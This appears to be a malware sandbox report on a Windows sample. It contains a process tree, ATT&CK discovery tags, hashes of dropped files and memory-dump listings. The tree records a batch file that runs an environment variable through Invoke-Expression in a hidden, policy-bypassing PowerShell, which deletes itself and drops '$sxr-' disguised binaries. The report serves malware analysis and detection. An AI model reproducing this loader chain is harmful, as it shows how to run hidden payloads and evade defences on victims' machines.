C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1472

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2240

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2920

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2952

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3128

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3244

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:NdbdSfApgx; "
    3⤵
    PID:2640
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
    3⤵
    - Deletes itself
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4892
- C:\Windows\regedit.exe
  "C:\Windows\regedit.exe"
  2⤵
  - Runs regedit.exe
  - Suspicious behavior: GetForegroundWindowSpam
  PID:5316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3668

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3848

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:4008

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
PID:3692

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4936

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4536

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4464

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:4212

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4888

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2908

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2420

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:5020

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3856

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:2336

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:448

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}
1⤵
PID:2168

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:1328

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_qupeaeim.4iq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qupeaeim.4iq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

$sxr-cmd.exe

Path C:\Windows\$sxr-cmd.exe
Size 283KB
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-mshta.exe

Path C:\Windows\$sxr-mshta.exe
Size 14KB
SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
MD5 0b4340ed812dc82ce636c00fa5c9bef2
SHA1 51c97ebe601ef079b16bcd87af827b0be5283d96
SHA512 d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
SSDEEP 192:Mp2bLg8CB95kCfjmRXKbpkSprJ6AdgxYsPvWw5aIR:MpMLgdrkCjm9KZJAXWw5
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-powershell.exe

Path C:\Windows\$sxr-powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/508-112-0x000002369D490000-0x000002369D4B9000-memory.dmp

Download

memory/508-110-0x00007FFBFF290000-0x00007FFBFF2A0000-memory.dmp

Download

memory/508-111-0x000002369D490000-0x000002369D4B9000-memory.dmp

Download

memory/668-91-0x000002DF49640000-0x000002DF49669000-memory.dmp

Download

memory/668-92-0x00007FFBFF290000-0x00007FFBFF2A0000-memory.dmp

Download

memory/668-93-0x000002DF49640000-0x000002DF49669000-memory.dmp

Download

memory/668-94-0x000002DF49640000-0x000002DF49669000-memory.dmp

Download

memory/668-90-0x000002DF49610000-0x000002DF49632000-memory.dmp

Download

memory/952-99-0x000001B4CF3D0000-0x000001B4CF3F9000-memory.dmp

Download

memory/952-98-0x00007FFBFF290000-0x00007FFBFF2A0000-memory.dmp

Download

memory/952-100-0x000001B4CF3D0000-0x000001B4CF3F9000-memory.dmp

Download

memory/1004-117-0x00000274A8170000-0x00000274A8199000-memory.dmp

Download

memory/1004-116-0x00007FFBFF290000-0x00007FFBFF2A0000-memory.dmp

Download

memory/1004-118-0x00000274A8170000-0x00000274A8199000-memory.dmp

Download

memory/1020-104-0x00007FFBFF290000-0x00007FFBFF2A0000-memory.dmp

Download

memory/1020-105-0x000001CF78AE0000-0x000001CF78B09000-memory.dmp

Download

memory/1020-106-0x000001CF78AE0000-0x000001CF78B09000-memory.dmp

Download

memory/1096-123-0x00000169D6EF0000-0x00000169D6F19000-memory.dmp

Download

memory/1096-124-0x00000169D6EF0000-0x00000169D6F19000-memory.dmp

Download

memory/1096-122-0x00007FFBFF290000-0x00007FFBFF2A0000-memory.dmp

Download

memory/1128-130-0x00000212E7F30000-0x00000212E7F59000-memory.dmp

Download

memory/1128-129-0x00000212E7F30000-0x00000212E7F59000-memory.dmp

Download

memory/1128-128-0x00007FFBFF290000-0x00007FFBFF2A0000-memory.dmp

Download

memory/1140-136-0x0000023F17970000-0x0000023F17999000-memory.dmp

Download

memory/1140-135-0x0000023F17970000-0x0000023F17999000-memory.dmp

Download

memory/1140-134-0x00007FFBFF290000-0x00007FFBFF2A0000-memory.dmp

Download

memory/2184-73-0x0000012B80520000-0x0000012B80526000-memory.dmp

Download

memory/2184-82-0x0000012B81BC0000-0x0000012B81C2A000-memory.dmp

Download

memory/2184-512-0x0000012B82660000-0x0000012B82B88000-memory.dmp

Download

memory/2184-493-0x0000012BD4D10000-0x0000012BD4D4C000-memory.dmp

Download

memory/2184-488-0x0000012B81F60000-0x0000012B82002000-memory.dmp

Download

memory/2184-487-0x0000012C00350000-0x0000012C00512000-memory.dmp

Download

memory/2184-486-0x0000012C000C0000-0x0000012C00172000-memory.dmp

Download

memory/2184-69-0x0000012BF7270000-0x0000012BF790C000-memory.dmp

Download

memory/2184-70-0x0000012BFF910000-0x0000012BFFFF8000-memory.dmp

Download

memory/2184-71-0x00007FFC3D770000-0x00007FFC3D82E000-memory.dmp

Download

memory/2184-72-0x00007FFC3F210000-0x00007FFC3F405000-memory.dmp

Download

memory/2184-483-0x0000012BD6FD0000-0x0000012BD7020000-memory.dmp

Download

memory/2184-74-0x0000012B80530000-0x0000012B80536000-memory.dmp

Download

memory/2184-75-0x0000012B80650000-0x0000012B80B98000-memory.dmp

Download

memory/2184-76-0x0000012B80BA0000-0x0000012B81344000-memory.dmp

Download

memory/2184-77-0x0000012B81340000-0x0000012B816C8000-memory.dmp

Download

memory/2184-78-0x0000012B816D0000-0x0000012B81782000-memory.dmp

Download

memory/2184-87-0x0000000180000000-0x0000000180007000-memory.dmp

Download

memory/2184-83-0x0000012B81C30000-0x0000012B81C70000-memory.dmp

Download

memory/4892-29-0x000002444BC00000-0x000002444BC3E000-memory.dmp

Download

memory/4892-20-0x00007FFC3F210000-0x00007FFC3F405000-memory.dmp

Download

memory/4892-80-0x00007FFC201B0000-0x00007FFC20C71000-memory.dmp

Download

memory/4892-34-0x000002443A2E0000-0x000002443A30E000-memory.dmp

Download

memory/4892-33-0x000002444C950000-0x000002444C9A8000-memory.dmp

Download

memory/4892-32-0x000002444C910000-0x000002444C946000-memory.dmp

Download

memory/4892-31-0x000002444C860000-0x000002444C912000-memory.dmp

Download

memory/4892-30-0x000002444BC40000-0x000002444C860000-memory.dmp

Download

memory/4892-47-0x00007FFC201B0000-0x00007FFC20C71000-memory.dmp

Download

memory/4892-28-0x000002441FB70000-0x000002441FB76000-memory.dmp

Download

memory/4892-27-0x0000024422070000-0x0000024422078000-memory.dmp

Download

memory/4892-26-0x00000244077D0000-0x00000244077D6000-memory.dmp

Download

memory/4892-25-0x0000024422010000-0x0000024422068000-memory.dmp

Download

memory/4892-24-0x000002441FB90000-0x000002441FBEE000-memory.dmp

Download

memory/4892-23-0x000002441FB80000-0x000002441FB86000-memory.dmp

Download

memory/4892-22-0x00000244077B0000-0x00000244077D2000-memory.dmp

Download

memory/4892-21-0x000002444BB00000-0x000002444BBFC000-memory.dmp

Download

memory/4892-81-0x00007FFC3F210000-0x00007FFC3F405000-memory.dmp

Download

memory/4892-19-0x00007FFC3F210000-0x00007FFC3F405000-memory.dmp

Download

memory/4892-18-0x00007FFC3F210000-0x00007FFC3F405000-memory.dmp

Download

memory/4892-17-0x00007FFC3D770000-0x00007FFC3D82E000-memory.dmp

Download

memory/4892-16-0x000002444AE10000-0x000002444B8FC000-memory.dmp

Download

memory/4892-15-0x000002444A370000-0x000002444AE10000-memory.dmp

Download

memory/4892-14-0x0000024422090000-0x0000024422106000-memory.dmp

Download

memory/4892-13-0x0000024421DB0000-0x0000024421DF4000-memory.dmp

Download

memory/4892-10-0x00007FFC201B0000-0x00007FFC20C71000-memory.dmp

Download

memory/4892-11-0x000002441FBF0000-0x000002441FC00000-memory.dmp

Download

memory/4892-12-0x000002441FBF0000-0x000002441FC00000-memory.dmp

Download

memory/4892-5-0x00000244078E0000-0x0000024407902000-memory.dmp

Download

memory/4892-35-0x00007FF6D9DD0000-0x00007FF6D9E41000-memory.dmp

Download

memory/4892-37-0x0000024422080000-0x0000024422088000-memory.dmp

Download

memory/4892-38-0x0000000180000000-0x0000000180007000-memory.dmp

Download

memory/4892-49-0x000002441FBF0000-0x000002441FC00000-memory.dmp

Download

memory/4892-48-0x000002441FBF0000-0x000002441FC00000-memory.dmp

Download

memory/4892-50-0x00007FFC1F868000-0x00007FFC1F869000-memory.dmp

Download